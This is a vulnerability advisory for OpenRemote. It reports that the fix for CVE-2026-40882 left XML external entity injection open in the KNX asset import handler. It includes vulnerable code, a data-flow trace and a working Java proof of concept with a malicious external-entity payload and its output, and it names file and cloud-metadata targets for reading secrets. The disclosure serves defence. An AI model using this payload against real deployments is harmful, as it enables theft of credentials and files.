OpenRemote has an incomplete fix for CVE-2026-40882: XXE in KNXProtocol.startAssetImport() allows arbitrary file read via unprotected XMLInputFactory

Summary

The fix for CVE-2026-40882 addressed only the Velbus asset import handler. The KNX asset import handler (KNXProtocol) processes user-uploaded ETS project ZIP files through Saxon XSLT and XMLInputFactory.newInstance() with no XXE protection, allowing any authenticated user to read arbitrary files from the server filesystem (e.g. /etc/passwd, openmrs-runtime.properties, cloud credential files).

Details

Incomplete patch

CVE-2026-40882 was fixed by introducing createSecureDocumentBuilderFactory() in AbstractVelbusProtocol.java with five XXE-blocking features. The parallel asset import handler in KNXProtocol.java was not updated and retains two unprotected XML parsing calls on the same user-controlled data.

Patched file — AbstractVelbusProtocol.java:

private DocumentBuilderFactory createSecureDocumentBuilderFactory() {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
    return factory;
}

Vulnerable file — KNXProtocol.java, lines 229–249:

// Line 229-230: reads 0.xml from user-uploaded ZIP
InputStream inputStream = KNXProtocol.class.getResourceAsStream(".../ets_calimero_group_name.xsl");
String xsd = IOUtils.toString(inputStream, StandardCharsets.UTF_8);

// Lines 233-245: Saxon XSLT — no XXE protection on the source document
TransformerFactory tfactory = new TransformerFactoryImpl();
Transformer transformer = tfactory.newTransformer(new StreamSource(new StringReader(xsd)));
transformer.transform(
    new StreamSource(new StringReader(xml)),  // xml = 0.xml from attacker's ZIP
    new StreamResult(writer));

// Line 249: XMLInputFactory — no SUPPORT_DTD=false, no IS_SUPPORTING_EXTERNAL_ENTITIES=false
try (final XmlReader r = XmlInputFactory.newInstance()
        .createXMLStreamReader(new StringReader(xml))) { ... }

Data flow

POST /api/{realm}/agent/{agentId}/import   (authenticated user, PR:L)
  → AgentResourceImpl.doProtocolAssetImport(fileData)
  → KNXProtocol.startAssetImport(byte[] fileData)
  → ZipInputStream reads 0.xml from attacker-controlled ETS ZIP
  → Saxon TransformerFactoryImpl.transform(StreamSource(0.xml))  ← XXE stage 1
  → XmlInputFactory.newInstance().createXMLStreamReader(xml)     ← XXE stage 2
  → external entity resolved → arbitrary file read

Comparison with patched code

| Handler | XML parser | DTD disabled | Status | |---|---|---|---| | AbstractVelbusProtocol | DocumentBuilderFactory | ✅ 5 features set | Patched (CVE-2026-40882) | | KNXProtocol | Saxon + XMLInputFactory | ❌ none set | Not patched |

PoC

No full OpenRemote installation required. The following reproduces the vulnerable XML processing chain using the exact same library versions.

Requirements: Java 17+, Maven 3.8+

pom.xml dependency:

<dependency>
    <groupId>net.sf.saxon</groupId>
    <artifactId>Saxon-HE</artifactId>
    <version>12.9</version>
</dependency>

Exploit.java:

import net.sf.saxon.TransformerFactoryImpl;
import javax.xml.stream.*;
import javax.xml.transform.*;
import javax.xml.transform.stream.*;
import java.io.*;
import java.nio.file.*;

public class Exploit {
    public static void main(String[] args) throws Exception {

        // Sentinel file — proves arbitrary file read
        Path sentinel = Files.createTempFile("openremote_xxe_proof_", ".txt");
        String tag = "OPENREMOTE_KNX_XXE_" + System.currentTimeMillis();
        Files.writeString(sentinel, tag);

        String maliciousXml =
            "<?xml version=\"1.0\"?>\n" +
            "<!DOCTYPE root [\n" +
            "  <!ENTITY xxe SYSTEM \"file://" + sentinel.toAbsolutePath() + "\">\n" +
            "]>\n" +
            "<root><data>&xxe;</data></root>";

        // Stage A: XMLInputFactory (KNXProtocol.java:249 — no security config)
        XMLInputFactory factory = XMLInputFactory.newInstance();
        XMLStreamReader reader = factory.createXMLStreamReader(new StringReader(maliciousXml));
        StringBuilder sb = new StringBuilder();
        while (reader.hasNext()) {
            int e = reader.next();
            if (e == XMLStreamConstants.CHARACTERS) sb.append(reader.getText());
        }
        System.out.println("Stage A result: " + sb.toString().trim());

        // Stage B: Saxon TransformerFactoryImpl (KNXProtocol.java:233-245)
        String xsl = "<?xml version=\"1.0\"?>" +
            "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">" +
            "<xsl:output method=\"text\"/>" +
            "<xsl:template match=\"/\"><xsl:value-of select=\"root/data\"/></xsl:template>" +
            "</xsl:stylesheet>";
        TransformerFactory tf = new TransformerFactoryImpl();
        StringWriter writer = new StringWriter();
        tf.newTransformer(new StreamSource(new StringReader(xsl)))
          .transform(new StreamSource(new StringReader(maliciousXml)), new StreamResult(writer));
        System.out.println("Stage B result: " + writer.toString().trim());

        Files.deleteIfExists(sentinel);
    }
}

Build and run:

mvn clean package -q
java -jar target/openremote-xxe-1.0.jar

Verified output (JDK 21, Linux):

Stage A result: OPENREMOTE_KNX_XXE_1780611779589
Stage B result: OPENREMOTE_KNX_XXE_1780611779589

Both stages print the sentinel file's contents, confirming that an external entity referencing a local file is resolved without restriction.

Impact

Vulnerability type: XML External Entity (XXE) injection leading to arbitrary file read and potential server-side request forgery (SSRF).

Who is impacted: Any OpenRemote deployment that exposes the Manager API to authenticated users. The import endpoint requires only a valid session (PR:L), not administrator access. An attacker with a regular account in any realm can exploit this to read files accessible to the JVM process user, including:

• /etc/passwd — user enumeration
• Application configuration files containing database credentials or API keys
• Cloud provider metadata endpoints via SSRF (http://169.254.169.254/...)
• Internal service endpoints reachable from the server

The vulnerability is present in KNXProtocol, a built-in protocol handler shipped with every OpenRemote installation that includes the agent module. No special configuration is required to be exposed to this attack.